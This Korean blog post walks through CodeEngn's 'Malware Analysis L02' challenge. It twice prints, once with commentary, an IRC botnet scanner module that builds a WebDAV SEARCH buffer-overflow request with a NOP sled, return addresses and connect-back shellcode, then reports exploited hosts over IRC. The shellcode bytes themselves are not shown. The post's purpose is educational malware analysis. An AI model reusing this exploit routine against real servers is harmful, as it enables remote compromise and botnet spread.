Malware Analysis L02

2022. 1. 17. 15:31문제연습/CodeEngn (REC)

반응형

본 티스토리 블로그는 PC에 최적화되어 있습니다.

 

1. 문제 내용

다음 파일은 악성코드 소스의 일부분이다. 무엇을 공격하는것인가

ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)

 

Author: CodeEngn

File Password: codeengn

 

2. 문제 해설

- 주어진 악성코드 일부분

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }
void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); }

	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }

bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096]; char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET; ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());
	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	free(szReqBuf); xClose(sSocket); return false; }

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					); iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					); iPos+=iShellSize;
	iSCSize=iPos; iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }	
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }
 

 


 

코드나 함수 이름만 확인하면 굉장히 난잡하지만 하나하나씩 풀어보면 그렇게 어렵지 않습니다.

한번 확인해 보도록 하겠습니다.

//현재 코드 일부분만 가지고 있기 때문에 정확한 분석은 어려우나, 이름을 통해 기능부분을 유추할 수 있음.


char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";




CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }



void CScannerMalware_L02::StartScan(const CString &sHost)
{	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 80))  //호스트가 80번 포트가 열려있는지 확인함.
									 //(참고로 80번 포트는 http 프로토콜 지정 포트임. 웹서버를 공격하는 것이 목적인 듯 하다.)
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); } //80번 포트가 열려있는 호스트의 정보를 Exploited 함수 인자로 넣고 있다.

	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); } //g_cMainCtrl, m_cIRC, SendFormat가 정확한 어떤 구조체, 함수인지는 모르나 
																		 //확실한 건 이미 이 부분의 코드가 실행 됬다는 것은 해당 서버의 공격이 성공했다는 뜻으로 받아들여도 될 듯 하다.


// 아래는 아까 실행 코드에 존재했던 호출함수 Exploit의 body가 존재하는 부분이다.
bool CScannerMalware_L02::Exploit(const CString &sHost)
{	char szSCBuf[4096]; 
	char szShellBuf[4096];
	char *szReqBuf=(char*)malloc(100000); 
	unsigned short ret=0xB102;
	int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;

	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sSocket==-1) return false;

	sockaddr_in ssin; 
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family=AF_INET; 
	ssin.sin_port=htons(80);
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());

	if(ssin.sin_addr.s_addr==INADDR_NONE)
	{	free(szReqBuf); xClose(sSocket); return false; }

	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	else
		iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \
			Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);
	
	memset(szSCBuf+iPos,	'\x90',				iNOPSize					); iPos+=iNOPSize;
	memcpy(szSCBuf+iPos,	szShellBuf,			iShellSize					); iPos+=iShellSize;
	iSCSize=iPos; iPos=0;

	memset(szReqBuf, 0, 100000);
	strcpy(szReqBuf, "SEARCH /");
	int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';
	for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }	
	for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
	memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));

	strcat(szReqBuf, " HTTP/1.1\r\n");
	sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);
	strcat(szReqBuf, body);
	memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
	memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
	memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);
	iReqSize=strlen(szReqBuf);
	
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));

	if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }

	while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;
	if(rt) { xClose(sSocket); free(szReqBuf); return false; }
 

 

현재, 통신 시 주고받는 프로토콜로 예상되는 부분을 직접 복호해봤으나 딱히 특별한 부분은 보이지 않습니다.

//추정되는 패킷의 형태

HTTP/1.1
Host: %s
Content-Type: text/xml
Content-Length: %d

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>
앞서 제작된 쉘 코드들의 일부..
 

아마 이런 식으로 통신이 진행될 것으로 보입니다.

 

저번에 다뤘던 문제는 Dos 공격 방식이지만, 이번 샘플은 불특정 다수의 서비스 거부 공격이 아닌 특정 타깃을 지정하고 공격한 느낌이 강합니다.

(애초에 쉘코드를 넣었다는 것 자체가 특정 대상을 노리고 제작했다고 볼 수 있습니다.)

 

일단 정확한 쉘 코드를 추출하여 DB 검색을 진행할 수 없으므로 예상되는 통신 프로토콜의 정보를 활용하여 공격 대상이 누구였는지 확인해 보도록 하겠습니다.

 

위에 존재하는 태그들을 기반으로 검색해 본 결과 webDaV라는 키워드의 결과를 확인하였습니다.

webDaV란?
WebDAV는 하이퍼텍스트 전송 프로토콜의 확장으로, 월드 와이드 웹 서버에 저장된 문서와 파일을 편집하고 관리하는 사용자들 사이에 협업을 손쉽게 만들어 준다.

위키백과

 

webDaV는 특히 NAS를 외부에서 접근하게 하도록 설정할 때 주로 사용되는 것으로 보입니다.

이외에도 다양한 용도로 연동되어 사용되고 있으며, 해당 악성코드 일부분을 확인해 보았을 때 webDaV를 대상으로 공격을 진행한다고 볼 수 있겠습니다.

 

 

따라서 flag는 webDaV입니다!!!

 

Flag : webDaV

 

 

 

반응형

'문제연습 > CodeEngn (REC)' 카테고리의 다른 글

Malware Analysis L01  (0) 2022.01.04
Basic RCE L014 - 코드 엔진(진행중)  (0) 2021.01.11
Basic RCE L012 - 코드 엔진  (0) 2020.12.05
Basic RCE L010 - 코드 엔진  (0) 2020.11.30
Basic RCE L09 - 코드 엔진  (0) 2020.11.23